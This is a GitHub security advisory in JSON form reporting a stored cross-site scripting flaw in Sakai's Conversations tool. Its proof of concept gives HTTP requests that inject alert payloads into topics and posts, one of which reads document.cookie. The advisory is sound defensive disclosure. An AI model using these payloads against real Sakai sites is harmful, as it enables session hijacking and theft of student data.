{"id":"GHSA-w2x5-gv52-9ccv","summary":"Sakai Conversations has a Stored XSS Issue","details":"### Summary\n\nThe Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's `unsafeHTML()` directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.\n\n\n### Description\n\nThe Conversations REST API endpoint `POST /api/sites/{siteId}/topics` accepts a `message` field in the JSON request body. The service layer (`ConversationsServiceImpl`) stores the message directly to the database (`conv_topics.MESSAGE`) without invoking `FormattedText.processFormattedText()` or any equivalent HTML sanitizer.\n\nThe same issue affects post replies via `POST /api/sites/{siteId}/topics/{topicId}/posts` and comments stored in `conv_comments`.\n\nOn the frontend, `SakaiTopic.js`, `SakaiPost.js`, and `SakaiComment.js` all render the `message` field using LitElement's `unsafeHTML()` directive:\n\n- `SakaiPost.js` lines 429, 432: `${unsafeHTML(this.post.message)}`\n- `SakaiTopic.js` line 679: `${unsafeHTML(this.topic.message)}`\n- `SakaiComment.js` line 148: `${unsafeHTML(this.comment.message)}`\n\nUnlike other Sakai tools (Announcements, Assignments, Resources) which call `FormattedText.processFormattedText()` before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.\n\n### Proof of Concept\n\n**Setup:** Admin/instructor session on a site with the Conversations tool enabled (siteId `BELP_275K_7418`).\n\n**Step 1 - Inject XSS payload in topic:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=\u003cauthenticated-session\u003e\nContent-Type: application/json\n\n{\"title\":\"XSS Test Topic\",\"message\":\"\u003cimg src=x onerror=alert(1)\u003e\",\"type\":\"QUESTION\",\"visibility\":\"SITE\",\"draft\":false}\n```\n\nResponse: HTTP 200, `\"message\":\"\u003cimg src=x onerror=alert(1)\u003e\"` - raw HTML stored.\n\n**Step 2 - Verify stored in database:**\n\n```sql\nSELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics\nWHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';\n-- Result: MESSAGE = \u003cimg src=x onerror=alert(1)\u003e\n```\n\n**Step 3 - Inject XSS payload in post reply:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=\u003cauthenticated-session\u003e\nContent-Type: application/json\n\n{\"message\":\"\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\",\"siteId\":\"BELP_275K_7418\"}\n```\n\nResponse: HTTP 200, `\"message\":\"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"` - raw script stored.\n\n**Step 4 - Verify in database:**\n\n```sql\nSELECT POST_ID, MESSAGE FROM conv_posts\nWHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';\n-- Result: MESSAGE = \u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n```\n\nWhen any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with `unsafeHTML()`, causing the injected scripts and event handlers to execute.\n\n### Impact\n\nAn attacker with any site membership (student role or higher) can:\n- Perform actions on behalf of victims\n- Exfiltrate gradebook data and course content\n- In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`2696b4b48cbef2e81512f52f84f7477adff78b27`)\n- Release pending.","aliases":["CVE-2026-54049"],"modified":"2026-08-24T19:56:00.541458Z","published":"2026-08-24T19:37:53Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-24T19:37:53Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/sakaiproject/sakai/security/advisories/GHSA-w2x5-gv52-9ccv"},{"type":"WEB","url":"https://github.com/sakaiproject/sakai/commit/2696b4b48cbef2e81512f52f84f7477adff78b27"},{"type":"PACKAGE","url":"https://github.com/sakaiproject/sakai"},{"type":"WEB","url":"https://github.com/sakaiproject/sakai/releases/tag/23.5"}],"affected":[{"package":{"name":"org.sakaiproject.conversations:sakai-conversations-impl","ecosystem":"Maven","purl":"pkg:maven/org.sakaiproject.conversations/sakai-conversations-impl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"23.0"},{"last_affected":"23.3"}]}],"versions":["23.0","23.1","23.2","23.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w2x5-gv52-9ccv/GHSA-w2x5-gv52-9ccv.json"}},{"package":{"name":"org.sakaiproject.kernel:sakai-kernel-impl","ecosystem":"Maven","purl":"pkg:maven/org.sakaiproject.kernel/sakai-kernel-impl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"23.0"},{"last_affected":"23.3"}]}],"versions":["23.0","23.1","23.2","23.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w2x5-gv52-9ccv/GHSA-w2x5-gv52-9ccv.json"}},{"package":{"name":"org.sakaiproject.rubrics:rubrics-impl","ecosystem":"Maven","purl":"pkg:maven/org.sakaiproject.rubrics/rubrics-impl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"23.0"},{"last_affected":"23.3"}]}],"versions":["23.0","23.1","23.2","23.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w2x5-gv52-9ccv/GHSA-w2x5-gv52-9ccv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"}]}